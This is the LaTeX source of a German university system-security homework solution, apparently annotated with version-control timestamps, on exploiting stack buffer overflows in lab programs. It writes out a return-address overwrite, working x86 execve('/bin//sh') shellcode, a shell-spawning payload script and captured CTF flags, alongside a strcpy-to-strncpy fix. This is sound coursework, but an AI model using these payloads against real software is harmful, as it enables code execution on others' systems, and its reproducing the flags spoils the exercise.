2024-06-23 11:57:12 +02:00
\documentclass [11pt] { scrartcl}
\usepackage [utf8] { inputenc}
\usepackage [T1] { fontenc}
\usepackage [ngerman] { babel}
\usepackage { lmodern}
\usepackage { graphicx}
\usepackage { listings}
\usepackage { xspace}
\usepackage { amsmath}
\usepackage { algorithm}
\usepackage { algpseudocode}
\usepackage { xifthen}
\usepackage { xcolor}
\usepackage { pdfpages}
\usepackage [a4paper,lmargin={2cm},rmargin={2cm},tmargin={2.5cm},bmargin = {2.5cm},headheight = {4cm}] { geometry}
\usepackage { amsmath,amssymb,amstext,amsthm}
\usepackage [shortlabels] { enumitem}
\usepackage [headsepline] { scrlayer-scrpage}
\pagestyle { scrheadings}
\usepackage { titling}
\usepackage { etoolbox}
\usepackage { tikz}
\usepackage { multirow}
\usepackage { tabularx}
\definecolor { keyword} { rgb} { 0.0, 0.0, 1.0}
\definecolor { comment} { rgb} { 0.5, 0.5, 0.5}
\definecolor { string} { rgb} { 0.6, 0.1, 0.1}
\definecolor { background} { rgb} { 0.95, 0.95, 0.95}
\lstset {
language=bash,
backgroundcolor=\color { background} ,
basicstyle=\ttfamily \small ,
keywordstyle=\color { keyword} \bfseries ,
commentstyle=\color { comment} \itshape ,
stringstyle=\color { string} ,
tabsize=2,
showspaces=false,
showstringspaces=false,
frame=single,
numbers=left,
numberstyle=\tiny \color { gray} ,
breaklines=true,
captionpos=b,
escapeinside={ (*@} { @*)} ,
}
\usetikzlibrary { shapes, arrows, calc, automata, arrows.meta, positioning,decorations.pathmorphing,backgrounds,decorations.markings,decorations.pathreplacing, graphs}
\usetikzlibrary { matrix,shapes,arrows,positioning,chains, calc}
\usetikzlibrary { arrows.meta,matrix,shapes,arrows,positioning,chains, calc}
\tikzset { %
initial text={ } ,
state/.style={ circle, draw, minimum size=.6cm} ,
every initial by arrow/.style={ -stealth} ,
every loop/.append style={ -stealth} ,
>=stealth
}
\ohead { \parbox [t] { .5\linewidth } { \raggedleft \theauthor } }
\ihead { System Security, SoSe 24, Assignment \thesheetnr }
% Sheet number
\newcounter { sheetnr}
\newcommand { \sheetnr } [1]{ \setcounter { sheetnr} { #1} }
% Exercise environments
\newenvironment { exercise} [2][]{ \section * { #2\expandafter \ifstrempty \expandafter { #1} { } { \ #1} } } { }
\newenvironment { subexercises} { \begin { enumerate} [a), font=\bfseries , wide, labelindent=0pt]} { \end { enumerate} }
\newenvironment { subsubexercises} { \begin { enumerate} [i), font=\bfseries , wide, labelindent=0pt]} { \end { enumerate} }
% Makros
% MACRO for whole diagram
% #1: total width of diagram
% #2: total height of diagram
% #3: nodes, paths, ...
\newcommand \protocolflow [3] {
\begin { center}
\begin { tikzpicture} [x=#1cm,y=#2cm]
#3
\end { tikzpicture}
\end { center}
}
% MACRO for path line shortening
% #1: start coordinate
% #2: target coordinate
% #3: text above arrow
\newcommand { \package } [3]{
\path [*-{latex[width=5pt, length=5pt] } ] (#1) edge node [above] { #3} (#2);
}
% Anpassen --> %
\author { Benjamin Haschka\\ Sascha Tommasone\\ Paul Zinselmeyer}
\sheetnr { 6}
% <-- Anpassen %
\begin { document}
\begin { exercise} [Smashing the Stack for Fun and Profit]{ 5}
\begin { subexercises}
2024-06-24 13:14:18 +02:00
\item Wenn das Programm mit dem Kommandozeilenargument \\ \lstinline { $ ( printf "AAAAAAAAAAAAAAAAAAAAAAAA \xBA \xB 0 \xBA \xB 0 " ) } aufgerufen wird, wird der Kontrollfluss wie gewünscht geändert.
2024-06-23 11:57:12 +02:00
\begin { tabular} { |c|c||c|c|c|c||c|c|c|c| }
\hline
Vorheriger Speicher & Größe & \multicolumn { 4} { |c||} { Vorheriger Speicher} & \multicolumn { 4} { |c|} { Vorheriger Speicher} \\
\hline
2024-06-23 12:20:33 +02:00
Vorheriger Stackframe& & ?& ?& ?& ? & ?& ?& ?& ?\\
2024-06-23 11:57:12 +02:00
\hline
Parameter password & 4 & BE& BA& FE& CA & 0& BA& FE& CA\\
\hline
Return Address & 4 & ?& ?& ?& ? & BA& B0& BA& B0\\
\hline
Previous Frame Address & 4 & ?& ?& ?& ? & 'A'& 'A'& 'A'& 'A'\\
\hline
& & ?& ?& ?& ? & 'A'& 'A'& 'A'& 'A'\\
\hline
& & ?& ?& ?& ? & 'A'& 'A'& 'A'& 'A'\\
\hline
& & ?& ?& ?& ? & 'A'& 'A'& 'A'& 'A'\\
\hline
& & ?& ?& ?& ? & 'A'& 'A'& 'A'& 'A'\\
\hline
& & 'E'& 'F'& 0& ? & 'A'& 'A'& 'A'& 'A'\\
\hline
Local Variable padded\_ password & 24 & 'A'& 'B'& 'C'& 'D' & 'A'& 'A'& 'A'& 'A'\\
\hline
Freier Speicher & & \multicolumn { 4} { |c||} { Freier Speicher} & \multicolumn { 4} { |c|} { Freier Speicher} \\
\hline
\end { tabular}
2024-06-24 13:14:18 +02:00
\item Mit dem Kommandozeilenargument \lstinline { $ ( printf " \x 31 \xc 9 \xf 7 \xe 1 \x 51 \x 68 \x 2 f \x 2 f \x 73 \x 68 \x 68 \x 2 f \x 62 \x 69 \x 6 e \x 89 \xe 3 \xb 0 \x 0 b \xcd \x 80 AAAAAAA \xEF \xBE \xDE \xC 0 " ) } wird der Shellcode in \\ \lstinline { padded _ password } an Position \lstinline { 0 xC 0 DEBEEF } ausgeführt.
2024-06-23 11:57:12 +02:00
Sollte sich \lstinline { padded_ password} an einer anderen Position im Speicher befinden, funktioniert der Angriff nicht, da der Shellcode gar nicht, oder nur teilweise ausgeführt wird.
2024-06-24 13:31:58 +02:00
\item \lstinline { strcpy(3p)} \footnote { https://www.man7.org/linux/man-pages/man3/strcpy.3p.html} berücksichtigt nicht die maximale Länge des Zielspeichers.
Die Funktion \\ \lstinline { strncpy(3p)} \footnote { https://www.man7.org/linux/man-pages/man3/strncpy.3p.html} berücksichtigt die maximale Länge des Zielspeichers, indem dessen Länge als Parameter an die Funktion übergeben wird.
2024-06-24 13:14:18 +02:00
\lstinline { strncpy(3p)} schreibt niemals (inklusive Nullbyte) über den angegebenen Speicherbereich hinaus.
2024-06-23 11:57:12 +02:00
Konkret muss in diesem Fall die Zeile 12 \lstinline { strcpy(padded_ password, password);} durch \lstinline { strncpy(padded_ password, password, 24);} getauscht werden, um die Sicherheitslücke zu schließen.
\end { subexercises}
\end { exercise}
\begin { exercise} [Stack-Based Buffer Overflow]{ 6}
\begin { subexercises}
2024-06-23 13:04:20 +02:00
\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline |flag{ THAT_ WAS_ EASY_ HUH} |.\\
2024-06-23 11:57:12 +02:00
\begin { lstlisting} [language=Bash]
#!/usr/bin/env sh
2024-06-23 13:04:20 +02:00
# 21 Byte Shellcode
SHELLCODE="\x 31\xc 9\xf 7\xe 1\x 51\x 68\x 2f\x 2f\x 73\x 68\x 68\x 2f\x 62\x 69\x 6e\x 89\xe 3\xb 0\x 0b\xcd \x 80"
2024-06-23 11:57:12 +02:00
# Padding to fill:
2024-06-23 13:04:20 +02:00
# - 79 Bytes to fill buff
2024-06-23 11:57:12 +02:00
# - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value
2024-06-23 13:04:20 +02:00
PADDING=$ ( printf "A %.0s" $(seq 1 91))
2024-06-23 11:57:12 +02:00
# Address of the start of the buff array / shellcode
RETADDR="\x 1C\xDB \xFF \xFF "
printf $ SHELLCODE $ PADDING$ RETADDR
\end { lstlisting}
2024-06-23 13:04:20 +02:00
\item Die Flag lautet \lstinline |flag{ THEY_ SEE_ ME_ SLIDIN_ THEY_ HATIN} |.\\
2024-06-23 11:57:12 +02:00
\end { subexercises}
\end { exercise}
\end { document}